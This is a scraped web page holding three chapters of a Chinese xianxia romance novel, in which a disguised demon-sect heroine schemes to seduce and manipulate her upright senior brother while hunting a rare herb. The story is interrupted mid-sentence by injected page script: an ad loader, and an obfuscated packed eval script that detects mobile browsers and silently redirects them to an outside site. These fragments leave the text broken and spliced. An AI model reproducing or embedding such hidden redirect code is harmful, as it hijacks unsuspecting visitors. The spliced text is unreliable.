不是她终于躲了,是男子被别人一把拉开好远。 “什么人!” 男子胳膊都快被拉断了,不悦地质问谁搅扰他的好事,回眸就看见一双冰冷锐利的眼眸。 啊,熟人。 还是了不得的熟人。 理智告诉他应该掉头就走,可程雪意在那边看着,他又不甘心这么丢脸。 “你——” 本想再找补两句,却忽然气血翻涌。 强大的威压令他一个字都说不出来,在下属靠近后冷着脸匆匆离开。 人赶走了,沈南音收了威压,几步来到程雪意面前,那张总是温和的脸上裹满了冰霜。 “跟我走。” 他抓紧她的手腕,这次可完全不收着了,力道大得程雪意真有点疼了。 她挣脱不开,便弯腰去咬他,沈南音不防她如此,手背被咬出两排血牙印来。 即便这样,他也不肯松手。 “凭什么?” 程雪意被他拉得一个踉跄,直接斥道,“你要我跟你走就跟你走?你算什么?放手,滚开,离我远点!” 沈南音美名远博,从小到大,第一次有人说他算什么,叫他滚,还叫他离远点。 便是最不驯的师弟都不敢这样。 他转过头来,目光克制,程雪意瞧见便笑。 “怎么,大师兄这是要教训我吗?”她闲闲道,“你不帮我,还不许我寻别人来帮忙吗?” 沈南音眉头紧锁道:“你绝不会看不出那人是在骗你,也不可能为灵石出卖自己,无非就是想用这种方法来激怒我。” “你知道我会来找你。” 程雪意顿了顿冷笑道:“我要激怒你做什么?大师兄未免自视甚高了,觉得别人做什么都是为了你。” “若非确定我就在附近,你不会容忍那人靠你那么近。” “说得好像你很了解我一样?”程雪意讽刺,“沈南音,你别太可笑。” “我不了解你吗。”沈南音道,“你连靠近我都会下意识浑身紧绷,遑论他人。” 程雪意彻底愣住。 ……确实是这样没错。 无论是洞窟那一夜,还是在雅间里与他拉扯的时候,她其实会本能的身体僵硬,肌肉紧绷。 “你就那么想要修月草?” 她不说话了,沈南音却在追问,一提这个,程雪意就回过神来。 她盯着沈南音,无比诚实地说:“你知道吗,我现在杀了你的心都有。” 沈南音回视她片刻,当着她的面给鬼市头场发了传音,命他们将拍下来的修月草马不停蹄地送往乾天宗,亲手交给碧水宫的苏长老。 乾天宗的单子,鬼市不敢错漏,一定会及时并且安全地送到。 程雪意睁大眼睛,试图等沈南音追来后再骗取他身上修月草的计划泡汤,她被挑衅到了极点,再次将手抬起,狠狠咬在沈南音抓着她的手背上。 沈南音闭了闭眼,慢慢道:“程师妹,这样可杀不了我。” 15.015 程雪意当然知道咬人是杀不了人的。 可是没办法,难不成她现在灵脉被封印,还真有与他正面对打的一战之力吗? 若是她灵力都在,非打得沈南音吐血倒地不可。 娘总说她是修炼奇才,整个噬心谷也找不到比她更强了。 就连从不露面,只在传闻中出现过的所谓天生魔的小魔君也不见得是她的对手。 那沈南音呢? 程雪意真的很想和他堂堂正正打一场。 可她背负太多,拿到白泽图之前,绝对不能暴露。 能不能复活娘,能不能救出浮光,全看她了。 也全看眼前这个人。 程雪意缓缓抬眸,咬着沈南音的手背望向他的脸。 她眼眶赤红,眼珠布满红血色,沈南音将她眼底的倔强和执拗看得清清楚楚。 虽然她咬的只是他的手背,他却觉得自己整个人都被她吞噬入腹。 她大约很想就这么吃了他。 沈南音反手将她拉起来,不顾手背鲜血直流,一条手臂将她扣在怀中,唤出本命剑,直接带她御剑离开鬼市。 “沈南音,放手!” 远远的,还能听见她对他连名带姓不满至极的呵斥。 红楼之上,戴着面具的男子对身边属下匪夷所思道:“那是沈南音?真的沈南音?我没看错吧?” 属下如实道:“公子没看错,确实是乾天宗的真武明华道君没错。” 男子猛地转过身来:“那我就是没睡醒,起猛了,我居然看到沈南音和女子拉拉扯扯,被人家咬着手背也不撒手。” 属下不知如何回应,想了想道:“总归公子不要再靠近就是了,您方才那样实在冒险,若被真武道君发现您的身份会很麻烦。” 红楼上这男子,正是和程雪意谈五百万灵石交易的人。 “你那么怕他?你觉得本座不是他的对手?” “属下只是觉得多一事不如少一事。”下属的话说得极有艺术。 男子扫了他一眼,喃喃说道:“这倒是。只不过又叫那个死丫头给跑了,真是可惜。” “上次让她用一盆花从我这里换走了不少好东西,本想着这次逗她玩玩,至少叫她吃点亏,却半路杀出个程咬金来。” 下属恍然,他就说那姑娘远远瞧着十分眼熟,原来是上次敲诈了公子的那个。 此事还要从乾天宗外门弟子下山做任务说起。 年初他们外出办事,行踪不能被人发现,便拿了别的小妖来掩盖。 恰好撞上了这群莽莽撞撞的外门弟子,本想着杀了人一走了之,反正乾天宗外门弟子多如牛毛,死几个也不是什么大事,扫尾扫干净便是了。 偏偏有个特别机灵的,不肯就那么死了,居然成功发出了求救讯号。 宫明老贼来得也快,叫他们只能推个人出去当替罪羊,假做抓叛徒,很是出了一番血才脱身。 程雪意,他还记得那求救弟子的名字,这人不但脑子机灵,运气也好,在他们交换消息筹谋对策的地方恰好有一盆寂颜花,隐在茂密草丛之中没被人发现。 寂颜花生得普通,白色花瓣,小小一株,很不起眼,但作用却不小,是用来做留影石的必备材料,有记录声音的能力。 本来一切尘埃落定,他们都要走了,程雪意却突然跑出来,从草丛里面抱出来一盆寂颜花,说是早就放在这里,差点忘了拿。 她人是跟着宫明老贼来的,肯定没听见他们的密谋,但这盆花就不一定了。 这要是被拿回去,其中刚好录有他们的对话,公子的身份和鬼市的安排就会暴露了。 于是等宫明带人先走,程雪意落在末尾的时候,公子便提出跟她买了这盆花,价钱随她开。 那姑娘当时的反应,他至今还记忆犹新。 “您是鬼市的高人,居然看得上我这盆小小的寂颜花?” 一身灰衣,发辫凌乱的姑娘惊讶地睁大了眼睛,一副天真的模样:“您别开玩笑了,我还要去追上长老,得赶紧走了。” 走?真让她把花拿走了还了得? 属下本来想直接去抢,公子担心惊扰了宫明,抬手示意他们稍安勿躁。 “寂颜花虽然常见,但这一盆长得尤其惹人怜爱,本座真心想要,小友可愿割爱?” 程雪意抱着花转过身来,若有所思地盯着高大的黑袍鬼市中人,突然露齿一笑:“您都开口了,我自然是得割爱的,只是我也不好要您的钱财。” “哦?”公子笑道,“那小友是要送给本座了?” 这么识时务,看在她不纠缠的面子上,倒也不是不能给点奖赏。 这是他们当时所有人的想法。 谁都没料到,这个笑得一脸可爱无邪的年轻姑娘,会抱着花盆神采奕奕道:“这花是我亲自种的,或许是因为这个才更惹人怜爱些。您想要的话,咱们不谈钱财,那太庸俗了,我们交个朋友,这盆花就作为礼物,咱们交换吧?” ——后面他们就做了一笔非常亏本的买卖,以至于公子现在还耿耿于怀。 “她那时必然看出了什么,但好在那花还没被人打开过,拿到就已销毁,便是她有所怀疑,也无法堪破我们的秘密。” 属下如此说道。 踩着红楼顶端的男子望着鬼市处处纸醉金迷,意兴阑珊道:“可她若是和沈南音关系匪浅,一切就不好说了。” 只要她透露给沈南音一点儿痕迹,这个人就有可能追踪到他们的绝密。 “还是找个机会杀了吧。” 他斜倚长廊,轻飘飘一句话定人生死。 程雪意现在可没功夫管这些。 她被沈南音强行带走,以为他要带她回宗门,谁知两人御剑的方向越来越偏,越来越远。 “沈南音,你要带我去哪儿?” 他会不会是发现了什么,或者终于不准备大度宽容,想对她打击报复了? 这是要把她带去什么鬼地方悄悄处置? 程雪意充满警惕,奋力挣扎,搞得不止自己衣衫不整,连带沈南音也跟着衣襟凌乱。 他从始至终表情不见分毫变化,一心三用,一边御剑一边控制她,还一边在念咒。 程雪意又不是真的外门弟子,他的咒语虽然念得快而拗口,她依然能分辨出用途来。 寻踪探秘? 他在找人,还是找什么东西? 程雪意走神一瞬,红尘剑忽然直直朝下。 她倏然回神,身子惯性朝后撞去,重重撞在沈南音怀中。 她回眸望去,视线与他相交,沈南音先一步错开,在红尘剑极 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 速坠地之后,拉着程雪意从剑上下来。 她第一次接触御剑,还是这么快速的上下变换,人有些轻微的恍惚,脚步也不太稳定,没走几步就晕头转向地倒在他身上。 沈南音站在原地,目不斜视地看着另一边,没伸手接住她,但也没推开她。 “沈南音你——” 她靠着人,还要骂这个人,难听话出口之前,听到他和另一人对话。 “在下乾天宗沈南音。” 他找到了寻踪探秘之术的目标人物,客气有礼道:“冒昧前来,多有打扰。” 程雪意立刻越过他去看在场的第三人,那人蒙着脸,只露出一双布满错愕的眼睛,她前路被阻,就算不想被打扰,也必须得受这打扰了。 “真武明华道君。” 沈南音的名号实在太响亮,也太有信誉,自报身份后,对方态度明显好转一些。 “您用什么追到这里来?找我做什么?” 蒙面女子驻颜年龄在二十来岁,声音闷闷的,目光若有似无地飘向程雪意。 程雪意跟上来,晕乎乎的脑袋清醒不少,也搞不懂他在想什么。 “沈南音——” 她又喊他名字,沈南音却没理,只对那蒙面女子道:“贫道在修月草上捕捉到道友气息,追踪其到这里,实在失礼。但事出紧急,贫道也只能失礼,还请道友告知,那株修月草是在何处寻到,贫道只想知道这个,知道便会离开,绝不多做纠缠。” 等等。 修月草? 程雪意意识到什么,当即道:“大师兄~” 沈南音顿了顿,终于看了她一眼。 蒙面女子也跟着眼神微妙一变。 好家伙,刚才还沈南音沈南音的喊,叫得那叫一个理直气壮无所畏惧,转瞬之间就开始一个字音三拐弯地喊大师兄了? 这变脸速度真是令人佩服。 “若我消息无错,真武道君已经拍下了头场市的修月草,怎么还要找?” 沈南音还没回应,程雪意就亲亲热热地挽住他的手臂,朝蒙面女子道:“姐姐,大师兄是给我找的。” 说完转回脸来,歪着头笑吟吟道:“是不是呀大师兄?” 沈南音静静地看她几息,缓缓将自己的手臂扯回来。 臂弯仍残存她身上微凉的温度,以及胸口柔软的弧度。 她很冷吗。 女子似乎都比男子怕冷些。 她修为低,身上凉好像也是正常。 沈南音道:“贫道的师妹身体不好,要用修月草。道友若能告知寻到修月草的位置,贫道感激不尽,愿做等价交换。” “哦?”蒙面女子似笑非笑地看着他,“等价交换?真武道君可要想好了,跟我们鬼市中人做买卖,是绝对占不到便宜的。修月草珍贵无比,我寻到那一株带回鬼市已是九死一生,我甚至都不知道那地方还有没有第二株,您确定要为了一个未知的可能,来跟我等价交换吗?” 沈南音不必回答,程雪意已经先道:“姐姐,大师兄不是已经给了你等价的回报吗?你便赶紧告诉他位置,我好和大师兄一起去看一看。” 这下不单沈南音,蒙面女子也懵了。 “不是。”她纳闷道,“这不是刚开始谈吗?我什么时候收到等价回报了?” 16.016 在场算上程雪意一共就三人,另外两人还齐刷刷望着她,她仍舌灿莲花,毫不心虚。 “姐姐,这实在不必我多说。”程雪意恳切说道,“鬼市下面的人办事不力,在修月草上留下了姐姐的气息,幸亏被大师兄及时发现,追到这里告知姐姐,这难道不是天大的回报吗?” 程雪意天花乱坠地夸赞沈南音:“要知道我大师兄光风霁月,是一等一的大英雄,全天下的人都知道他最可靠,最正直。” “别人拍走了修月草,还发现这上面有姐姐的气息,在巨大利益面前,他们可不见得能守住自身的道德,不来围堵抓捕姐姐。到时姐姐一个人,他们一堆人有备而来,你可怎么办?” 程雪意满脸庆幸,语气十分认真:“这可是救命之恩啊姐姐。姐姐若真被抓了,性命之忧都还是最次要的,除了修月草的踪迹,那些人恐怕还会对鬼市的内部消息感兴趣,到时为了套消息囚禁了姐姐……想想都可怕。” 她挽住沈南音的手臂,神色严肃起来:“大师兄救姐姐一命,还帮了鬼市,这还不值得姐姐透露一下修月草长在哪里吗?也不用姐姐冒险带我们再去一次,只是告知方位而已,这样简单的事情,换姐姐一条珍贵的性命和鬼市内部安定,说句实在话,我大师兄可亏死了。” 沈南音:“……” 听到这里,何止蒙面女子,沈南音也有些反驳不能了。 其实他已经准备好了交换的回报,都在芥子里要拿出来了,就这么眼睁睁看着程雪意颠倒黑白,扭转局势,一双大眼睛诚实地望着蒙面女子,叫那女子支吾半晌,一个字都吐不出来。 无法反驳。 真是无法反驳。 半晌,蒙面女子忍不住道:“你可是宫明长老的弟子?” 程雪意听她这么问,就知道事成了,她弯眸一笑:“多谢姐姐吉言,若我之后有机会拜入宫明长老座下,一定远远给姐姐敬几杯好酒!” 虽然自己好像被坑了,但似乎也没完全被坑? 总之蒙面女子还真是有点被说动了。 主要是真武明华道君实力摆在那儿,真要强问消息什么都不给,她也没法子。 虽然有点被动,她反而还挺喜欢这乾天宗女修。 “你这口才和一毛不拔的性子,宫明见了准喜欢。” 蒙面女子笑了一下,袍袖一挥,沈南音立刻挡在程雪意面前,接住了对方扔过来的东西。 “听闻乾天宗的真武明华道君素来不近女色,多少优秀女修示好都不曾接受,原来是早就心有所属了啊。” 蒙面女子远远说道:“这东西就当是送给你们的贺礼好了,上面记载了修月草的位置,但具体还有没有,我是真的不知道,要你们自己去找了。” “妹妹要是还能找到,得了姐姐的好,以后发达了可别忘了姐姐。” 蒙面女子身形和声音越来越远,程雪意和沈南音都没去追。 程雪意一把将沈南音手中的的东西抢过来,沈南音刚想说什么,就听她先开口。 “大师兄抓那么紧干吗,这是人家从里衣上撕下来的缎子。” 沈南音猛地退后一步,手尴尬地僵在半空不知如何摆放,须臾之后不知从何处弄来的水,开始疯狂洗手。 程雪意一边检查锦缎上的情况,一边扫了扫他那副紧张无比的样子,忍不住嘟囔了一句:“假正经。” 被她亲亲摸摸咬手背的时候,怎么不见他这么避讳? 斜了他一眼,程雪意将锦缎展开,想将位置给他看。 既然沈南音打算帮忙找修月草,她肯定乐得轻松,不打算自己动手了。 不过这人怎么一眼都不肯看? 程雪意皱眉思忖片刻,轻哼一声,将位置仔细记在脑海中,然后将锦缎一把火烧了。 “既然大师兄不肯看,那就由我来带路吧。” 身形窈窕纤细的姑娘一马当先走在前面,沈南音终于无法继续自闭了。 “你回宗门去。” 他拉住程雪意的衣袖,将她拉回来:“把记下来的地图告知我,我自己去即可。” 程雪意一顿,能在床上躺着等修月草送上门来,那自然是再好不过。 可不能亲眼监督沈南音,她心里又不踏实。 虽然之前是被画皮妖骗了,对方并不是真的大师兄,眼前这个才是真的,那她也没办法对这个人做到百分百信任。 他可以为了师弟将那株修月草抢走,就有可能再为了别的人梅开二度。 她再也不要将这个人的话当回事。 “大师兄是为我去冒险,我怎么能不去呢?” 面上程雪意还不打算和他撕破脸,她还要用这个人呢。 “我总要自己也付出点力量,才算拿的不心虚。” 沈南音还要说什么,直接被程雪意捂住了嘴唇。 她踮着脚尖,一手扶在他肩上,一手捂着他的唇,观察他的反应。 沈南音没再开口,温热柔软的唇瓣贴着她冰冷的掌心,他又想到她可能很冷。 水云间的气候确实不如乾天宗四季皆宜,沈南音神思一转,就没了再要她回去的意思。 真武明华道君这个人,温润缜密,优雅如玉,总是一脸很有把握的样子。 他也确实运筹帷幄,稳坐钓鱼台,从未在什么事情上翻过什么车。 ——除了程雪意。 此行虽然危险,但沈南音并不觉得自己无力庇护一位师妹。 于谨慎之中,他更有一分自信在。 所以一起走便一起走吧。 沈南音后撤一步,唇瓣离开她的掌心,没再说拒绝的话。 程雪意自然而然地指给他方向:“若她给的位置没错,摘下那株修月草的地方离这里很远,一路往西,过了云梦峡才能到。” 一路往西,气候只会更冷。 沈南音没说话,安静地唤出本命剑。 这次不需要他拉,程雪意主动跳了上去。 来的时候她在前面,这次她站在了后面。 “前面风吹着难受。”她嫌弃道,“我要在后面。” 沈南音还是不说话,唇瓣紧抿地上了红尘剑。 刚站好,就有一双冰冷的手臂环上腰。 他脊背一僵,感觉到她唯一还算温热的呼吸洒在背上。 “大师兄,出发吧!” 声音倒是元气满满的样子,让他想起她与蒙面女子交谈时的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13963846|147017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她对着旁人,言语里字字句句都是对他的夸赞,每说一句,沈南音眼睫便颤动更快一些。 对他喊打喊杀的是她,赞不绝口也是她。 翻脸无情是她,情真意切还是她。 沈南音居然不觉得意外。 他莫名有一种“这样才是她”的理所应当之感。 沈南音觉得自己可能出问题了。 御剑越来越高后,风果然越来越大。 但沈南音有罡气护体,不会被风如何,反而显得身姿飘逸,如真仙降世一般白衣翩跹。 程雪意就不一样了。 哪怕躲在他后面也有点吃不消。 来的时候她和他生气,不肯显出颓势来,现在就不一样了。 她使劲抱着他,拉扯他的衣服挡着自己,风和西部的冷气还是不断送到她身上来。 正烦躁的时候,人忽然被从后面拉到了前面。 程雪意刚要说什么,人便被环在了怀中,大师兄身上温暖如春,有一种不管处境如何都能完美破局,积极向上的安全感。 他将外袍拉开,把她包裹其中,虽然胸膛和她的后背尚且算有一指的距离,但下巴是实打实抵在她发顶,温暖也是实打实传递给了她。 未免她被风吹,他还设了结界挡风,这次她是真的舒适从容,惬意无比了。 程雪意缓缓后仰,让自己全部靠在他怀中,将那一点点可以忽略不计的距离彻底抵消。 她缓缓动了动脑袋,便好似男人在用下巴蹭她的发顶。 雪意从小就过得很辛苦。 爹娘活着的时候稍好一些,但爹走得太早,她那时太小,无力挽回什么,后来娘一个人带着她生活在噬心谷,也谈不上多么轻松。 娘陨落的时候,她终于成长起来,可以挽回一线生机。 这也是她现在坚持下去的指望。 程雪意抬头,因为飞得太高,光有些迷人眼,她居然觉得沈南音光芒万丈。 没了爹娘之后她一直都靠自己。 有时候还要被浮光依靠。 她几乎已经快要忘了被人关怀体贴照顾,可以全身心依赖另一人是什么感受。 程雪意能感觉到沈南音在抗拒她这样靠近。 但她的目的就是驯服这个人,也要他早点习惯她的靠近。 回想起来他对那锦缎的唯恐避之不不及,那他被她这样靠近应该也是勉强接受。 程雪意忍不住笑出声来。 他难受她就开心啊! “大师兄。” 怀里传来呼唤,沈南音还是不吭声,但她知道他在听。 “其实刚才是骗你的啦,那缎子不是什么女子里衣上撕下来的,看花纹和撕扯的纹路,应该是从幂篱上扯下来的。” 此话一出,果然感觉沈南音整个人放松了一些。 程雪意适时地眨眨眼,仰起头道:“可是大师兄,我现在是实实在在裹着你的外袍,被你抱在怀里呢。” 沈南音本能地望向怀中,与仰头的雪意目光交汇。 她灵动清澈干净明亮的双眼像两汪涌动的清泉,将他的倒影淹没其中。 他淹没在眼湖里,又在湖里开出花来。 17.017 云梦峡在西洲入口处,以沈南音的御剑速度也得一整天才能到。 况且一直御剑,消耗灵力也非常多,带着损耗的身体前往危险的地方,可不是个好选择。 是以深夜十分,沈南音便打算带程雪意寻一个地方休息。 “去哪儿?”程雪意抓住他的手,有些紧绷地问他:“怎么不走了?” 黑夜那样熟悉,暗无天日的光线让程雪意如鱼得水,渐渐有些控制不住本性。 沈南音要是这个时候突然改变心意又不去了的话…… “夜深了,也走了很久,寻个地方休息片刻,天亮再走。” 沈南音回答完,感觉到程雪意手松了些力道,但仍然没放开。 “大师兄累了?”她思索了一下道,“也是,御剑是最耗费灵力的事情,大师兄能走这么久已经非常难得了。” 她说到这里放开手,任由沈南音带着她降落。 脚踩在地面上的时候,她再次开口道:“但我实在心急,怕夜长梦多,也想确定目的地到底还有没有修月草,所以咱们还是不要休息得好。” 沈南音看了她一会,也能理解她的迫切。 他年少时临近突破,也有过这样焦虑躁动的时刻。 程雪意也不过才十九岁。 “那便继续赶路。” 沈南音说着便要再次御剑,但被程雪意阻止了。 “大师兄歇你的,接下来的路没多远了,就由我来带你走吧。” 她带他走? 沈南音难掩惊讶地望向她,看到程雪意开始在她的小挎包里鼓捣。 “虽然我修为低,但我脑子好用呀,大师兄别那么惊讶,带你走一段路而已,不是什么难事,我怎么说也入门五年了,于某些事上还是颇有心得的。” 她从小挎包里拿出几张彩纸,它们看上去不像普通的纸,上面有灵力波动。 “我没法子带你坐无欲天宫那样气派舒适的飞舟,不过我有这个。” 程雪意在夜色里将彩纸叠成一只只纸鹤,接着在上面轻轻吹了一口气,纸鹤们便如真的仙鹤一样变大了。 “借力符。” 沈南音认出来了,这些是借力符,但从未见过有人借力借到仙鹤身上。 乾天宗的仙鹤数不胜数,各个膘肥体壮,生活滋润,负责宗门的内部交通。 “进太玄宫之前在灵兽院待过两年,跟院长学了这个来。” 程雪意骑到最大的那只仙鹤上,朝沈南音招手:“上来吧大师兄。” 沈南音停在原地没有动作。 他看了看其他的仙鹤,都是来辅助程雪意骑着的那只,防止中途泄力的。 能坐的只有她那只。 可沈南音觉得自己有手有脚,靠师妹这样实在不该,所以怎么都抬不起脚来。 “快点,别浪费时间了。” 程雪意懒得看他纠结,一把将人拉过来,让他坐在自己后面,摇摇晃晃地飞上了天。 ……距离云梦峡确实不远了。 这样颤颤巍巍飞一阵子,确实不是什么不能接受的事。 可即便程雪意特地把纸鹤变得大了一些,它还是太小了。 小到沈南音想和她保持一点距离,都因为仙鹤不稳当的摇晃而失败。 他不得不紧紧贴着她的后背。 沈南音个子高,坐在仙鹤上,低头就能看到程雪意的头顶。 他看着她毛茸茸的发髻,发髻上的贝壳装饰,还有她肩颈的线条,胸膛的起伏,交叠在纸鹤上的双手。 月色朦胧,哪怕飞起来程雪意也飞不高,是以光线也并不好。 光线并不影响修士的视物,沈南音忽然觉得特别难受。 “程师妹。”他想下去,“我歇够了,带你御剑吧。” 程雪意慢悠悠道:“大师兄要是灵力多,可以留着一会儿过了云梦峡帮我摘仙草。现在闲着不舒服的话,那帮我用个保暖的法咒吧。” 她颤抖了一下,身子在他怀中轻轻抖动,沈南音瞬间僵硬。 “好冷啊。”她尾音不稳地抱怨着。 夜深凄冷,她浑身冰凉,沈南音不由自主地为她用了可以让人热起来的法咒。 保暖的法咒,其实没有具体的,毕竟修士寒暑不侵,靠的是自身修为。 要是有这样的法咒,他之前也不必用外袍裹着她了。 他只能另辟蹊径,取周围灵力中的火灵,将它们蒸发,塑造一种环境温暖的现象。 这有些效果,但程雪意似乎还是冷。 她半闭着眼,眉眼有些倦怠,不如白日那样精神。 沈南音嘴唇动了动,却不知该说些什么。 两人靠得实在太近,还是坐着,他绝无冒犯之心,且心如止水,可身体上某些部位,还是不可避免地屡屡与她靠近。 她忽然回眸看了他一眼,沈南音没有闪躲,认真说道:“师妹,我带你御剑。” 程雪意歪着头,似笑非笑道:“大师兄果然如他们所说的那样,天赋异禀呀~” “……” 别人说的天赋异禀绝对没有其他意思,就是纯粹说他天赋卓绝,沈南音可以肯定。 程雪意所说的天赋绝对和他们不是一回事,沈南音也可以肯定。 他直接就要起来,被程雪意阻止。 “跑什么,我摸都摸过了,至于吗?” 洞窟那夜的回忆排山倒海地回到脑中,沈南音反手抓住程雪意,蹙眉道:“从前是从前,现在是现在。我无意冒犯师妹,还望师妹慎言。” 沈南音确实无意冒犯。 实在是姿势和位置问题,让他们不得不这样接触。 他也没有那些失态的反应,可见他所言非虚。 没反应也非常有存在感,确实是“天赋异禀”而已。 程雪意低头看了看自己腰间银铃,从鬼市封了声音到现在她也没解开,也好在没解开,不然沈南音不可能安安稳稳坐在这里这么久。 怎么可能让他就这么逃了呢? 如何驯服真武明华道君这种光明磊落的大英雄,无非就是一而再再而三地让他打破原则。 她先说起别的话题,让他松口气:“大师兄在头场市拍到的那对海妖的眼泪,有带在身上吗?” 果然,一说起别的,分神之后,沈南音状态好了一些。 “在。” 他只说了一个字,随后便摊开掌心,精致的首饰盒从芥子内出来,安安静静躺到他手心。 程雪意倦怠的眉眼顿时生动起来。 “大师兄还愿意给我吗?” 闹成那样,恨不得杀了他的话都说出口了,现在要人帮着摘仙草,海妖的眼泪也舍不得飞了,问人家还给不给,一般女孩子绝对没有程雪意这么厚脸皮。 偏生沈南音还特别好说话:“你要就给。” 本来就是给她的,她若不嫌弃,愿意要,那自然没有不给的道理。 “那就劳烦大师兄帮我制成耳珰吧,我不要发扣。” 真武道君除了剑术,其余各种道法都有涉猎,且都修得不错,说是全能不为过。 她要耳珰不要发扣,那就制耳珰,没什么区别。 沈南音收起首饰盒,点头应下。 程雪意望着他低垂的眉眼,从下往上看他,眼睫越发浓密。 脊梁骨那么硬的一个人,要如何让他心甘情愿地堕落腐朽,弯下腰来,为她所用呢? 真武明华道君似乎该永远淡漠,永远纯洁,永远不动如山。 一定要他拉入泥潭,让他满身污秽吗? 不想还好,程雪意越想越激动。 她忍不住抓住沈南音的手,等沈南音看过来,便压低声音有些沙哑道:“大师兄真好,你这样好,我总得回点什么心里才过意得去。” 程雪意朝后仰靠,沈南音不得不将她接了个满怀。 她半阖眼眸,任由仙鹤的颠簸将两人一次次撞在一起。 明显感觉刚放松一些的沈南音弦又绷紧,且比放松之前更紧张,程雪意嘴角笑意蔓延开来。 “大师兄。” 她轻飘飘地唤他,乾天宗不知多少人这样叫他,外门的内门的,是不是该这样叫的都这样叫,因为大师兄对沈南音来说更像是一种身份认可,不是在论辈分。 他就是乾天宗静慈法宗之下当之无愧的第一人,是他们心目中可以依靠的大师兄。 这样纯洁的称呼到了程雪意口中,明明也没有特别拿捏语气,就是让这夜空之中的星辰明月凄冷寒风都变了味道,无端得暧昧焦灼起来。 程雪意尽情地将自己舒展开来,挺直的脊背往上去,腰下部位更贴近他。 女子身上的一切都是软的,馨香扑鼻。 程雪意的香气更独特,她身上真的有一种清冽的雪意。 沈南音不可置信地望着她轻轻巧巧将他好不容易拉开的距离又严丝合缝贴在一起,甚至比之前更加贴合,每次纸鹤的动荡都是一次生涩的接触。 沈南音只是修道,没有剃度,身体也不残缺,甚至非常优良。 说起别的正事自我克制一下,完全可以心如止水,可现在这样不行。 真的不行。 他鼻息间满是雪意,额头青筋直跳,欲要推开她的时候,听到她轻盈动人地一声叹息。 那宛转低徊的一声叹息,直接浇灭了他所有的理智。 这次没有任何药物也没有任何铃音,他已然防线破溃。 “大师兄,你想要我吗?” 耳边传来程雪意幽幽的询问,问的是什么再清楚明白不过。 事情是怎么发展到这个地步的,似乎有迹可循,又似乎莫名其妙。 沈南音再也坐不住,飞身要走的时候,被程雪意一把抓住。 “不想吗?”她目光下移,看和他锦袍重叠之下不太明显的反应,“你分明是想的。” “上次叫你看不见摸不着,大师兄回去之后,有想象过吗?” 程雪意将他的手臂拉入怀中,双眼迷蒙,含着无边水雾。 “你有在梦里想象过我吗?” 她虽然在询问,可言语之中已然笃定。 沈南音心跳得极快,理智崩溃的大脑中延展出某个确实存在过,但醒来就忘得干干净净的梦境。 有些梦叫人醒来记忆犹新。 有些梦却叫人醒来尽数遗忘。 程雪意是个被遗忘的梦。 “对不起。” 沈南音反应过来就在道歉。 “音罪该万死。” ? 啊? 怎么忽然开始道歉了? 程雪意愣了愣,眼睁睁看着刚才暧昧无边的气氛,被沈南音严肃道歉的样子彻底破坏。 “今日之前,我并不记得是否做过冒犯师妹的梦。经师妹提醒,我记起事发后的确梦到过师妹。尽管只是个梦,仍是冒犯了师妹,容我向师妹道歉。” 程雪意:“……” 她问那个问题又不是为了要怪罪他什么,他搞些什么……算了。 好好的一场调。情以这种方式收场,程雪意居然不意外。 要是能轻易令沈南音就范,他也就不是沈南音了。 不过也算有些收获,至少知道他确实梦到过她。 正想问问梦里都发生了什么,把刚才的好气氛续上,就听沈南音又道:“但请师妹放心,我绝不曾在梦中对师妹有何绮念,只是单纯梦到了师妹而已。” 哪怕只是梦到了她的存在,一张笑靥如花的脸,还有那几乎算是梦魇的铃声,其余什么都没做,对沈南音来说依然算是对她的冒犯,也是对自己的不负责任。 他意识到之前的结束可能还是不够具体。 他必须给程雪意和自己一个正式的、直接的,谁也不能再含糊不清的收尾。 沈南音主导仙鹤降落,停在云梦峡附近的山上。 夜色渐退,天际放出光明,程雪意有些不习惯地皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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下一瞬,绷着脸的姑娘又笑开了,手上用力将他推远一些,自顾自地笑成一团。 她腰间银铃忽然开始响,伴着她前仰后合的模样袭向他。 沈南音抬手按了按太阳穴,恍惚间似乎看见了程雪意在笑着朝他眨眼。 风和日丽的清晨,云梦峡险峻的山林之中,瀑布飞泄而下,轰鸣声呵着铃声摇摇曳曳。 程雪意背着手轻盈地走向瀑布,光影洒在她身上,沈南音察觉到不对劲。 “程师妹,不要再往前——” 话音刚落,程雪意直接从瀑布处跳了下去。 电光火石之间,沈南音已经追随她跳下了瀑布。水花四溅之中,他看见她灰扑扑的衣裳被水打湿,发丝也湿润地贴在额头和脖颈上,整个人头朝下飞速坠落。 沈南音要接住她实在太简单了,但程雪意也不是在找死。 她朝他笑道:“大师兄那么紧张干什么?好像你不愿意,我还会吃了你一样,我只是看在海妖眼泪的面子上跟你开个玩笑而已,你不会觉得我真会让你碰我吧?” 沈南音瞳孔收缩,水雾被他的护体罡风阻隔的干干净净。他看起来依然整洁体面,程雪意则完全相反。 她浑身是水,狼狈下坠,与游刃有余的大师兄一个在天一个在地。 可明明她才是下坠的那个,沈南音却仿佛成了被她栓上丝线的木偶,心神全由她操控,是悲是喜,是好是坏,是平和还是混乱,全看她的意思。 便如此刻。 “大师兄以为我要跳崖?想什么呢,目的地就在这瀑布下面,我们到啦——” 程雪意从腰间掏出一把匕首,将匕首狠狠刺入瀑布后的石壁上,硬生生止住了自己坠落的速度。 她翻身一跃,消失在水幕之中,沈南音紧随其后,在水雾里看见一道隐秘的石门。 石门布满青苔,门前只有很小的一片空地供人站立,程雪意正站在那里。 她没冒然进入半开的石门,斜倚在那一边收拾满身的水迹,一边观察里面的情况。 沈南音一身干燥清爽地进来,下意识要帮她把身上弄干,手刚抬起来,她人已经闪身进了石门。 